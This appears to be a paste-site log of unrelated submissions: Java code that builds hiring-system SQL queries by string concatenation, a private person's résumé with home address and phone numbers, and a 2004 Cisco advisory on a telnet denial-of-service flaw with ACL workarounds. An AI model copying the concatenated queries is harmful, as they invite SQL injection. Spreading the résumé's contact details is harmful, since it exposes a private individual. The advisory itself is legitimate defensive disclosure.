throws Exception { String retSQLQuery = ""; if (!bForStore) { //retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE JA.JOB_REQUISITION_NUMBER = CT.JOB_REQUISITION_NUMBER AND JA.USER_ID = CT.CANDIDATE_ID AND "; retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE JA.USER_ID = CT.CANDIDATE_ID AND "; retSQLQuery = retSQLQuery + " CT.PERCENT_CORRECT >= " + PID_ASSESSMENT_THRESH_HOLD + " AND CT.EXTERNAL_ID = 806 AND " ; retSQLQuery = retSQLQuery + " (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; } else { retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE "; retSQLQuery = retSQLQuery + " CT.CANDIDATE_ID = JA.USER_ID "; retSQLQuery = retSQLQuery + " AND CT.EXTERNAL_ID= " + iAssessChildID + " AND CT.NUMBER_CORRECT = 1 AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; retSQLQuery = retSQLQuery + " AND (JA.WORKFLOW_STATUS_ID IN (1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND JA.CANDIDATE_START_DATE > SYSDATE )) "; retSQLQuery = retSQLQuery + " UNION " ; retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA WHERE (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; //retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.SUBMIT_USER_ID = " + lContext.getUser().getID() ; } //System.out.println( "----------- Total Query ---------" ); //System.out.println(retSQLQuery); //System.out.println( "----------- Total Query ---------" ); return retSQLQuery; } public int getTotalApplicantCount (ActionContext lContext, boolean bForStore, int IJobRequisition, String iAssessChildID) throws Exception { String retSQLQuery = ""; retSQLQuery = "SELECT COUNT(*) FROM (" + getTotalApplicantQuery(lContext,bForStore,IJobRequisition,iAssessChildID) + " )"; return getQueryRecordCount(lContext,retSQLQuery); } private int getQueryRecordCount( ActionContext pContext, String strQuery ) throws Exception { KRUser lUser = pContext.getUser(); int retQueryRecordCount = 0; KRCustomTableManager KRCustTblManager = pContext.getUser().getKRCustomTableManager(); try { ResultSet rs = KRCustTblManager.executeCustomTableSQLQuery (strQuery); while (rs.next()) retQueryRecordCount = rs.getInt(1); rs.close(); } catch (KRException kre) { System.out.println(kre.getCompleteMessage()); } catch (Exception e) { System.out.println(e); } finally { KRCustTblManager.close(); } return retQueryRecordCount; } public int getActiveDCStoreJobsCount( ActionContext pContext, int iStoreID, boolean isStore) throws Exception { String strQuery =""; KRUser lUser = pContext.getUser(); int retActiveDCJobsCount = 0; KRCustomTableManager KRCustTblManager = lUser.getKRCustomTableManager(); if (!isStore) { strQuery = strQuery + "SELECT count(REQUISITION_NUMBER) FROM BR_JOBS WHERE CUST_DICT1 IS NOT NULL AND " ; strQuery = strQuery + " CUST_DICT1 = (SELECT ID FROM BR_CUSTOM_DICT_ELEMS WHERE CUSTOM_DICTIONARY_ID = 1080 AND NAME = '" + iStoreID + "')"; } else{ strQuery = strQuery + "SELECT count(A.N1) FROM BR_CUST_VER_TABLE1 A, BR_JOB_TESTS B WHERE " ; strQuery = strQuery + "A.IDENTITY_FLD = B.EXTERNAL_ID AND B.JOB_REQUISITION_NUMBER=(SELECT REQUISITION_NUMBER FROM BR_JOBS " ; strQuery = strQuery + "WHERE ROWNUM < 2 AND CUST_DICT1 IS NOT NULL AND CUST_DICT1 = " ; strQuery = strQuery + "(SELECT ID FROM BR_CUSTOM_DICT_ELEMS WHERE CUSTOM_DICTIONARY_ID = 1080 AND NAME = '" + iStoreID + "')) "; } //System.out.println(" ===================== "); //System.out.println(strQuery); //System.out.println(" ===================== "); try { ResultSet rs = KRCustTblManager.executeCustomTableSQLQuery (strQuery); while (rs.next()) retActiveDCJobsCount = rs.getInt(1); rs.close(); } catch (KRException kre) { System.out.println(kre.getCompleteMessage()); } catch (Exception e) { System.out.println(e); } finally { KRCustTblManager.close(); } return retActiveDCJobsCount; } public Enumeration getCustomActiveJobs(ActionContext pContext, int iStoreID, boolean isStore) throws Exception { int Job_ID; Vector VecJobRequisitions = new Vector(); Enumeration JobIDs = null; ResultSet rs = null; String strQuery = "" ; KRUser lUser = pContext.getUser(); KRCustomTableManager KRCustTblManager = lUser.getKRCustomTableManager(); if (!isStore) { strQuery = strQuery + " SELECT REQUISITION_NUMBER FROM BR_JOBS WHERE CUST_DICT1 IS NOT NULL AND " ; strQuery = strQuery + " CUST_DICT1 = (SELECT ID FROM BR_CUSTOM_DICT_ELEMS WHERE CUSTOM_DICTIONARY_ID = 1080 AND NAME = '" + iStoreID + "')"; } else { strQuery = strQuery + "SELECT B.JOB_REQUISITION_NUMBER REQUISITION_NUMBER FROM BR_CUST_VER_TABLE1 A, BR_JOB_TESTS B WHERE " ; strQuery = strQuery + "A.IDENTITY_FLD = B.EXTERNAL_ID AND B.JOB_REQUISITION_NUMBER=(SELECT REQUISITION_NUMBER FROM BR_JOBS " ; strQuery = strQuery + "WHERE ROWNUM < 2 AND CUST_DICT1 IS NOT NULL AND CUST_DICT1 = " ; strQuery = strQuery + "(SELECT ID FROM BR_CUSTOM_DICT_ELEMS WHERE CUSTOM_DICTIONARY_ID = 1080 AND NAME = '" + iStoreID + "')) "; } try { rs = KRCustTblManager.executeCustomTableSQLQuery (strQuery); while (rs.next()) { VecJobRequisitions.add(new Integer(rs.getInt("REQUISITION_NUMBER"))); } } catch (KRException kre) { kre.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } finally { rs.close(); KRCustTblManager.close(); } JobIDs = VecJobRequisitions.elements(); return JobIDs; } public Enumeration getJobFamilies(ActionContext pContext, int iStoreID) throws Exception { int Job_ID; Vector VecJobFamilies = new Vector(); Enumeration EnumJobFamilies = null; ResultSet rs = null; String strQuery = "" ; KRUser lUser = pContext.getUser(); KRCustomTableManager KRCustTblManager = lUser.getKRCustomTableManager(); strQuery = strQuery + " SELECT N1 FROM BR_CUST_VER_TABLE1 WHERE IDENTITY_FLD = (SELECT EXTERNAL_ID FROM BR_JOB_TESTS WHERE " ; strQuery = strQuery + " JOB_REQUISITION_NUMBER IN (SELECT REQUISITION_NUMBER FROM BR_JOBS WHERE ROWNUM < 2 AND CUST_DICT1 IS NOT NULL " ; strQuery = strQuery + " AND CUST_DICT1 = (SELECT ID FROM BR_CUSTOM_DICT_ELEMS WHERE CUSTOM_DICTIONARY_ID = 1080 AND NAME = '" + iStoreID + "')))" ; try { rs = KRCustTblManager.executeCustomTableSQLQuery (strQuery); while (rs.next()) { VecJobFamilies.add(new Integer(rs.getInt("N1"))); } } catch (KRException kre) { kre.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } finally { rs.close(); KRCustTblManager.close(); } EnumJobFamilies = VecJobFamilies.elements(); return EnumJobFamilies; } public String getJobFamilyChildName(ActionContext pContext, int iJobFamilyID) throws Exception { String JobFamilyName = ""; ResultSet rs = null; String strQuery = "" ; KRUser lUser = pContext.getUser(); KRCustomTableManager KRCustTblManager = lUser.getKRCustomTableManager(); strQuery = strQuery + " SELECT VC1 FROM BR_CUST_VER_TABLE1 WHERE N1 = " + iJobFamilyID ; try { rs = KRCustTblManager.executeCustomTableSQLQuery (strQuery); if (rs.next()) { JobFamilyName = rs.getString("VC1"); } } catch (KRException kre) { kre.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } finally { rs.close(); KRCustTblManager.close(); } return JobFamilyName; } } ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 kalyan chakravarthy ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 MAX HERMANN VARÃZSLÓ 24-A MONTEZUMA STREET SAN FRANCISCO, CA 94110 HOME PHONE: (415) 648-0604 OFFICE PHONE: (415) 565-7864 Ext. 516 _______________ RÉSUMÉ July 2004 OBJECTIVE I am seeking a permanent, full-time position which will utilize my outstanding skills in communication, departmental management, customer service, and workflow coordination. EDUCATION Oneness Temple Yeshiva, St. Petersburg, FL (1982-86) Bachelor of Arts in Judaic Studies, May 1986 Minor in Comparative Linguistics CAREER HISTORY 1 Enclosures International Corporation, San Francisco, CA (8/1991-1/1994) Title: Packaging and Shipping Operations Manager Skills: Four-line phone; WordPerfect; in-house tracking and billing software Type: Permanent, full-time, salaried Processed customers' phone and fax orders for packaging, shipping, delivery, and storage of fine artwork, designer furniture, and antiques; monitored packers' workflow to meet seasonal deadlines for holidays and tradeshows; issued estimates for complete transportation packages, when necessary fitting these into the company budget to guarantee a safe profit margin; dispatched drivers both in the San Francisco Bay Area and in Metropolitan Los Angeles; generated and, when necessary, corrected customers' invoices; assisted in resolving damage claims. 2 Sun Air Freight, South San Francisco, CA (7/1994-12/1996, partially concurrent with item 3) Title: Inside Sales/International Department Shipping Manager Skills: Eight-line phone; Lotus-123, Excel, some UNIX Type: Permanent, part- and full-time, hourly wage plus commission Routed both domestic and international shipments of electronics by land, sea, and air at customers' requests by fax, phone, e-mail and pre-arranged shipping contracts; negotiated rates with freight carriers; generated and, when necessary, corrected customers' invoices based on rates eligible for frequency discounts or company promotions; maintained customers' credit histories; implemented international department; balanced monthly accounting records, resolving rate disputes when necessary; secured transportation rebates and commissions from carriers; assisted in both accounts payable and accounts receivable departments, transferring all records to computer spreadsheets; implemented new invoicing and collections procedures; worked with collection agencies on delinquent accounts; resolved delay, damage, and loss claims; supervised customer service telephone personnel. 1 2 MAX HERMANN VARÃZSLÓ 24-A MONTEZUMA STREET SAN FRANCISCO, CA 94110 HOME PHONE: (415) 648-0604 OFFICE PHONE: (415) 565-7864 Ext. 516 _______________ CAREER HISTORY, continued 3 Wollborg-Michels Personnel, San Francisco, CA (10/1996-11/1997) Title: Temporary Contractor Assigned to CSAA Skills: CSAA applications DOTS and UBS Type: Permanent, part- and full-time, hourly wage plus commission Reviewed membership invoices in detail; made necessary data repairs online; processed members' requests for upgrades, additions, and other changes to their accounts. 4 California State Automobile Association, San Francisco, CA (11/1997-11/1998) A Title: Billing Repair Technician Skills: DOTS, UBS, some MSAS; Word, Excel, Access, some Foxpro, some TSO Type: Fixed-term temporary, full-time, biweekly wage Reviewed membership invoices in detail; made necessary data repairs online; downloaded daily and weekly billing error and exception reports and resolved billing problems; processed members' requests for upgrades, additions, and other changes to their accounts; as billing repair team lead (1998), supervised and trained six co-workers. B Remittance Processing System Liaison (11/1998-12/2001) Skills: In addition to the above: PeopleSoft, Fast Tax, B of A online applications Type: Permanent, full-time, biweekly wage Posted and maintained vendor information in Online Claims System to facilitate claims payment and correct tax reporting; compiled payment breakdowns for vendors and, when necessary, made corrections to totals; forwarded tax levy payments to appropriate tax authorities; acted as liaison between Tax and Claims Departments, and between Membership and Financial Reporting Departments; trained new staff members in Credit Card Unit and Claims tax reporting group; upgraded refund and district office balancing procedures; did workflow and productivity analysis as needed; responded to members' letters, telephone calls, and faxes relating to payments, refunds, and fund applications; entered and maintained credit card payment batches; resolved disputes and overpayments; assisted in logging daily journal entries and in preparing nightly closeout; wrote and, in some cases, revised procedures for each section in the department; designed data entry forms. C Claims Operations Specialist (1/2002 - present) Skills: In addition to the above: Microsoft PowerPoint and PhotoEditor, some Scopus/HAL Type: Fixed-term temporary, full-time, biweekly wage Maintained vendor information in Online Claims System to facilitate claims payment and correct tax reporting; compiled payment breakdowns for vendors and, when necessary, made corrections to totals; forwarded tax levy payments to appropriate tax authorities; did workflow and productivity analysis as needed; responded to Claims vendors' letters, telephone calls, and faxes relating to tax agency holds and updates; updated data entry forms; reviewed and, when possible, resolved daily claims payment exceptions; searched for copies of cleared checks and drafts; did monthly tax filing; created new workflow databases; gave presentations to Claims managers outlining tax compliance issues. TECHNICAL SKILLS Operating Systems: Windows 98, NT Workstation, DOS Software Applications: Extensive Microsoft Excel, Word, Access, and Outlook; some PhotoShop and FrontPage Languages: Superlative oral and written skills in English; good knowledge of spoken and written Spanish, along with some French and German; limited proficiency in reading and writing many other languages Typing: 50 words per minute on most systems REFERENCES Available on request. ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 MAX HERMANN VARÃZSLÓ 24-A MONTEZUMA STREET SAN FRANCISCO, CA 94110 HOME PHONE: (415) 648-0604 OFFICE PHONE: (415) 565-7864 Ext. 516 _______________ RÉSUMÉ July 2004 OBJECTIVE I am seeking a permanent, full-time position which will utilize my outstanding skills in communication, departmental management, customer service, and workflow coordination. EDUCATION Oneness Temple Yeshiva, St. Petersburg, FL (1982-86) Bachelor of Arts in Judaic Studies, May 1986 Minor in Comparative Linguistics CAREER HISTORY 1 Enclosures International Corporation, San Francisco, CA (8/1991-1/1994) Title: Packaging and Shipping Operations Manager Skills: Four-line phone; WordPerfect; in-house tracking and billing software Type: Permanent, full-time, salaried Processed customers' phone and fax orders for packaging, shipping, delivery, and storage of fine artwork, designer furniture, and antiques; monitored packers' workflow to meet seasonal deadlines for holidays and tradeshows; issued estimates for complete transportation packages, when necessary fitting these into the company budget to guarantee a safe profit margin; dispatched drivers both in the San Francisco Bay Area and in Metropolitan Los Angeles; generated and, when necessary, corrected customers' invoices; assisted in resolving damage claims. 2 Sun Air Freight, South San Francisco, CA (7/1994-12/1996, partially concurrent with item 3) Title: Inside Sales/International Department Shipping Manager Skills: Eight-line phone; Lotus-123, Excel, some UNIX Type: Permanent, part- and full-time, hourly wage plus commission Routed both domestic and international shipments of electronics by land, sea, and air at customers' requests by fax, phone, e-mail and pre-arranged shipping contracts; negotiated rates with freight carriers; generated and, when necessary, corrected customers' invoices based on rates eligible for frequency discounts or company promotions; maintained customers' credit histories; implemented international department; balanced monthly accounting records, resolving rate disputes when necessary; secured transportation rebates and commissions from carriers; assisted in both accounts payable and accounts receivable departments, transferring all records to computer spreadsheets; implemented new invoicing and collections procedures; worked with collection agencies on delinquent accounts; resolved delay, damage, and loss claims; supervised customer service telephone personnel. 1 2 MAX HERMANN VARÃZSLÓ 24-A MONTEZUMA STREET SAN FRANCISCO, CA 94110 HOME PHONE: (415) 648-0604 OFFICE PHONE: (415) 565-7864 Ext. 516 _______________ CAREER HISTORY, continued 3 Wollborg-Michels Personnel, San Francisco, CA (10/1996-11/1997) Title: Temporary Contractor Assigned to CSAA Skills: CSAA applications DOTS and UBS Type: Permanent, part- and full-time, hourly wage plus commission Reviewed membership invoices in detail; made necessary data repairs online; processed members' requests for upgrades, additions, and other changes to their accounts. 4 California State Automobile Association, San Francisco, CA (11/1997-11/1998) A Title: Billing Repair Technician Skills: DOTS, UBS, some MSAS; Word, Excel, Access, some Foxpro, some TSO Type: Fixed-term temporary, full-time, biweekly wage Reviewed membership invoices in detail; made necessary data repairs online; downloaded daily and weekly billing error and exception reports and resolved billing problems; processed members' requests for upgrades, additions, and other changes to their accounts; as billing repair team lead (1998), supervised and trained six co-workers. B Remittance Processing System Liaison (11/1998-12/2001) Skills: In addition to the above: PeopleSoft, Fast Tax, B of A online applications Type: Permanent, full-time, biweekly wage Posted and maintained vendor information in Online Claims System to facilitate claims payment and correct tax reporting; compiled payment breakdowns for vendors and, when necessary, made corrections to totals; forwarded tax levy payments to appropriate tax authorities; acted as liaison between Tax and Claims Departments, and between Membership and Financial Reporting Departments; trained new staff members in Credit Card Unit and Claims tax reporting group; upgraded refund and district office balancing procedures; did workflow and productivity analysis as needed; responded to members' letters, telephone calls, and faxes relating to payments, refunds, and fund applications; entered and maintained credit card payment batches; resolved disputes and overpayments; assisted in logging daily journal entries and in preparing nightly closeout; wrote and, in some cases, revised procedures for each section in the department; designed data entry forms. C Claims Operations Specialist (1/2002 - present) Skills: In addition to the above: Microsoft PowerPoint and PhotoEditor, some Scopus/HAL Type: Fixed-term temporary, full-time, biweekly wage Maintained vendor information in Online Claims System to facilitate claims payment and correct tax reporting; compiled payment breakdowns for vendors and, when necessary, made corrections to totals; forwarded tax levy payments to appropriate tax authorities; did workflow and productivity analysis as needed; responded to Claims vendors' letters, telephone calls, and faxes relating to tax agency holds and updates; updated data entry forms; reviewed and, when possible, resolved daily claims payment exceptions; searched for copies of cleared checks and drafts; did monthly tax filing; created new workflow databases; gave presentations to Claims managers outlining tax compliance issues. TECHNICAL SKILLS Operating Systems: Windows 98, NT Workstation, DOS Software Applications: Extensive Microsoft Excel, Word, Access, and Outlook; some PhotoShop and FrontPage Languages: Superlative oral and written skills in English; good knowledge of spoken and written Spanish, along with some French and German; limited proficiency in reading and writing many other languages Typing: 50 words per minute on most systems REFERENCES Available on request. ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 MAX HERMANN VARÃZSLÓ 24-A MONTEZUMA STREET SAN FRANCISCO, CA 94110 HOME PHONE: (415) 648-0604 OFFICE PHONE: (415) 565-7864 Ext. 516 ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 MAX HERMANN VARÃZSLÓ 24-A MONTEZUMA STREET SAN FRANCISCO, CA 94110 ------------------------------------------------- REMOTE_ADDR = 199.67.138.76 ------------------------------------------------- REMOTE_ADDR = 199.67.138.76 wccrs1-1:/opt/Marimba: ------------------------------------------------- REMOTE_ADDR = 199.67.138.76 wccrs1-1:/opt/Marimba: ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 Hi There G-Money ------------------------------------------------- REMOTE_ADDR = 213.164.244.211 phreaker.net ------------------------------------------------- REMOTE_ADDR = 129.101.142.236 howdy here is some text ------------------------------------------------- REMOTE_ADDR = 12.9.138.11 6889-80U ------------------------------------------------- REMOTE_ADDR = 83.228.2.100 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Cisco Telnet Denial of Service Vulnerability Revision 1.0 For Public Release 2004 August 27 1000 UTC - ------------------------------------------------------------------------- Contents Summary Affected Products Details Impact Software Versions and Fixes Obtaining Fixed Software Workarounds Exploitation and Public Announcements Status of This Notice: INTERIM Distribution Revision History Cisco Security Procedures - ------------------------------------------------------------------------- Summary ======= A specifically crafted Transmission Control Protocol (TCP) connection to a telnet or reverse telnet port of a Cisco device running Internetwork Operating System (IOS) may block further telnet, reverse telnet, Remote Shell (RSH), Secure Shell (SSH), and in some cases Hypertext Transport Protocol (HTTP) access to the Cisco device. Telnet, reverse telnet, RSH and SSH sessions established prior to exploitation are not affected. All other device services will operate normally. Services such as packet forwarding, routing protocols and all other communication to and through the device are not affected. Cisco will make free software available to address this vulnerability. Workarounds, identified below, are available that protect against this vulnerability. This vulnerability is documented in Cisco bug ID CSCef46191 ( registered customers only) . This Advisory is available at http://www.cisco.com/warp/public/707/cisco-sa-20040827-telnet.shtml. Affected Products ================= Vulnerable Products - ------------------- This vulnerability affects all Cisco devices that permit access via telnet or reverse telnet and are running an unfixed version of IOS. Products Confirmed Not Vulnerable - --------------------------------- Cisco products that do not run IOS are not affected. Details ======= Telnet, RSH and SSH are used for remote management of Cisco IOS devices. The SSH protocol is also used for Secure Copy (SCP), which allows an encryption-protected transfer of files to and from Cisco devices. HTTP is also used for management of certain Cisco devices. IOS versions prior to12.2(15)T include HTTP server version 1.0, which, if configured, will be unresponsive on a device that is under exploitation. IOS versions after and including 12.2(15)T include HTTP server version 1.1, which is unaffected. Reverse telnet is a feature that allows you to telnet to a Cisco device and then connect to a third device through an asynchronous serial connection. For more information on reverse telnet, consult the following documents: http://cisco.com/en/US/products/sw/iosswrel/ps1828/products_configuration_guide_chapter09186a00800871ec.html http://cisco.com/en/US/products/sw/iosswrel/ps1826/products_configuration_guide_chapter09186a00800d9bd8.html Cisco devices that are operating as a reverse telnet server may have ports open in the ranges of: * 2001 to 2999 * 3001 to 3099 * 6001 to 6999 * 7001 to 7099 After a specially crafted TCP connection to an IOS device on TCP port 23 or the reverse telnet ports listed above, all subsequent telnet, reverse telnet, RSH (TCP port 514), SSH, SCP (SSH and SCP use TCP port 22), and in some cases HTTP (TCP port 80) connections to the device experiencing exploitation will be unsuccessful. Any telnet, reverse telnet, RSH, SSH, SCP and HTTP sessions that are already established with the device will continue to function properly. In Cisco IOS, telnet, reverse telnet, RSH, SSH, SCP and some HTTP sessions are handled by a virtual terminal (VTY). Each telnet, reverse telnet, RSH, SSH and SCP session consumes a VTY. After successful exploitation, the Cisco device can no longer accept any subsequent VTY connections. Though it is not possible to establish new telnet, reverse telnet, RSH, SSH, SCP or HTTP connections to the device after a successful exploitation, the device is only vulnerable on TCP port 23 and the reverse telnet ports listed above. A successful exploitation of this vulnerability requires a complete 3-way TCP handshake, which makes it very difficult to spoof the source IP address. Only remote access services that use VTYs are affected. This includes telnet, reverse telnet, RSH, SSH, SCP and version 1.0 of the HTTP server. Other device services including, but not limited to, routing protocols, TACACS/RADIUS, Voice over IP (VoIP) and packet forwarding are not affected. This vulnerability is addressed by Cisco bug ID: * CSCef46191 ( registered customers only) To determine the software running on a Cisco product, log in to the device and issue the show version command to display the system banner. Cisco IOS software will identify itself as "Internetwork Operating System Software" or simply "IOS ®". On the next line of output, the image name will be displayed between parentheses, followed by "Version" and the IOS release name. Other Cisco devices will not have the show version command or will give different output. The following example identifies a Cisco product running IOS release 12.0(3) with an installed image name of C2500-IS-L: Cisco Internetwork Operating System Software IOS (TM) 2500 Software (C2500-IS-L), Version 12.0(3), RELEASE SOFTWARE The release train label is "12.0". The next example shows a product running IOS release 12.0(2a)T1 with an image name of C2600-JS-MZ: Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-JS-MZ), Version 12.0(2a)T1, RELEASE SOFTWARE (fc1) Additional information about Cisco IOS Banners is available at http://www.cisco.com/en/US/products/sw/iosswrel/ios_abcs_ios_networking_the_enterprise0900aecd800a4e15.html. Impact ====== Exploitation of this vulnerability may result in the denial of new telnet, reverse telnet, RSH, SSH, SCP and HTTP connections to a device running IOS. Other access to the device via the console or SNMP is not affected. The device will remain in this state until the problematic TCP connection is cleared, or the device is reloaded (which will clear the problematic session). If no other access methods are available, exploitation of this vulnerability could deny remote access to the device. Depending on your network architecture, workarounds may be available to mitigate this vulnerability. Software will be available to repair this vulnerability. Software Versions and Fixes =========================== Cisco is working to release fixes for this vulnerability in all currently maintained IOS releases. No software upgrade is required in order to mitigate this vulnerability. See the information below regarding the available configuration workarounds. The software fixes will appear in regularly scheduled maintenance releases of IOS software. As fixed software becomes available for public release, Cisco will update this section of the advisory. Obtaining Fixed Software ======================== Customers with Service Contracts - -------------------------------- As fixed software becomes available, customers with contracts should obtain the fixed software through their regular update channels. For most customers, this means that such software should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third-party Support Organizations - ------------------------------------------------- Customers whose Cisco products are provided or maintained through prior or existing agreement with third-party support organizations such as Cisco Partners, authorized resellers, or service providers should contact that support organization for assistance with the upgrade or fixed software, which should be free of charge. Customers without Service Contracts - ----------------------------------- Customers who purchase direct from Cisco but who do not hold a Cisco service contract and customers who purchase through third-party vendors but are unsuccessful at obtaining fixed software through their point of sale should get their fixed software by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Please have your product serial number available and give the URL of this notice as evidence of your entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Please do not contact either "psirt@cisco.com" or "security-alert@cisco.com" for software upgrades. See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including special localized telephone numbers and instructions and e-mail addresses for use in various languages. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/public/sw-license-agreement.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Workarounds =========== The effectiveness of any workaround is dependent on specific customer situations such as product mix, network topology, traffic behavior, and organizational mission. Customers should consult with their service provider or support organization to ensure any applied workaround is the most appropriate for use in the intended network before it is deployed. Mitigation Strategies - --------------------- Not all of the mitigation strategies listed will work for all customers. Some of the workarounds listed are dependent on which versions and feature-sets of IOS you have in your network. Enabling SSH and disabling telnet - --------------------------------- Note: SSH support is only available in certain IOS feature sets and platforms Cisco devices that support SSH can enable it by following the steps listed here: http://cisco.com/en/US/products/sw/iosswrel/ps1835/products_configuration_guide_chapter09186a00800ca7d5.html#1001167 To disable telnet access to the device, configure the following on all your VTY lines: Router(config)# line vty 0 4 Router(config-line)# transport input ssh Note: Even if SSH is enabled, the IOS device is not protected until telnet access is disabled. Configuring a VTY Access Class - ------------------------------ It is possible to limit the exposure of the Cisco device by applying a VTY access class to permit only known, trusted devices to connect to the device via telnet, reverse telnet, RSH, SSH or SCP. For more information on restricting traffic to VTYs, please consult: http://cisco.com/en/US/products/sw/iosswrel/ps1835/products_command_reference_chapter09186a00800873c8.html#wp1017389 Configuring Interface Access Lists (ACLs) - ----------------------------------------- In addition to configuring a VTY Access Class, it may be desirable to block all telnet traffic from entering the network. The example below demonstrates how to block TCP port 23 and the reverse telnet traffic while permitting all other IP traffic. Router(config)# access-list 100 deny tcp any any eq telnet Router(config)# access-list 100 deny tcp any any range 2001 2999 Router(config)# access-list 100 deny tcp any any range 3001 3099 Router(config)# access-list 100 deny tcp any any range 6001 6999 Router(config)# access-list 100 deny tcp any any range 7001 7099 Router(config)# access-list 100 permit ip any any The access list must then be configured to block inbound traffic on all public-facing interfaces: Router(config)# interface Ethernet 0/0 Router(config-if)# ip access-group 100 in Telnet should be blocked as part of a Transit ACL controlling all access to the trusted network. Transit ACLs are considered a network security best practice and should be considered as a long-term addition to good network security, as well as a workaround for this specific vulnerability. The white paper entitled "Transit Access Control Lists: Filtering at Your Edge" presents guidelines and recommended deployment techniques for transit ACLs: http://www.cisco.com/warp/public/707/tacl.html Configuring Infrastructure Access Lists (iACLs) - ----------------------------------------------- Although it is often difficult to block traffic transiting your network, it is possible to identify traffic which should never be allowed to target your infrastructure devices and block that traffic at the border of your network. Infrastructure ACLs are considered a network security best practice and should be considered as a long-term addition to good network security as well as a workaround for this specific vulnerability. The white paper entitled "Protecting Your Core: Infrastructure Protection Access Control Lists" presents guidelines and recommended deployment techniques for infrastructure protection ACLs: http://www.cisco.com/warp/public/707/iacl.html Configuring Receive Access Lists (rACLs) - ---------------------------------------- For distributed platforms, rACLs may be an option starting in Cisco IOS Software Versions 12.0(21)S2 for the 12000 series GSR and 12.0(24)S for the 7500 series. The receive access lists protect the device from harmful traffic before the traffic can impact the route processor. Receive path ACLs are considered a network security best practice, and should be considered as a long-term addition to good network security, as well as a workaround for this specific vulnerability. The CPU load is distributed to the line card processors and helps mitigate load on the main route processor. The white paper entitled "GSR: Receive Access Control Lists" will help identify and allow legitimate traffic to your device and deny all unwanted packets: http://www.cisco.com/warp/public/707/racl.html Exploitation and Public Announcements ===================================== The Cisco PSIRT is aware of exploitation of this vulnerability and is recommending customers take action to protect themselves. Status of This Notice: INTERIM ============================== THIS ADVISORY IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY. YOUR USE OF THE INFORMATION ON THE ADVISORY OR MATERIALS LINKED FROM THE ADVISORY IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS NOTICE AT ANY TIME. CISCO EXPECTS TO UPDATE THIS NOTICE WITHIN 48 to 72 hours FROM THE ORIGINAL DATE OF THIS NOTICE. Distribution ============ This advisory will be posted on Cisco's worldwide website at http://www.cisco.com/warp/public/707/cisco-sa-20040827-telnet.shtml. In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-teams@first.org (includes CERT/CC) * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.netsys.com * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +---------------------------------------------+ | Revision | 2004-August-27 | Initial public | | 1.0 | | release. | +---------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/warp/public/707/sec_incident_response.shtml. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) 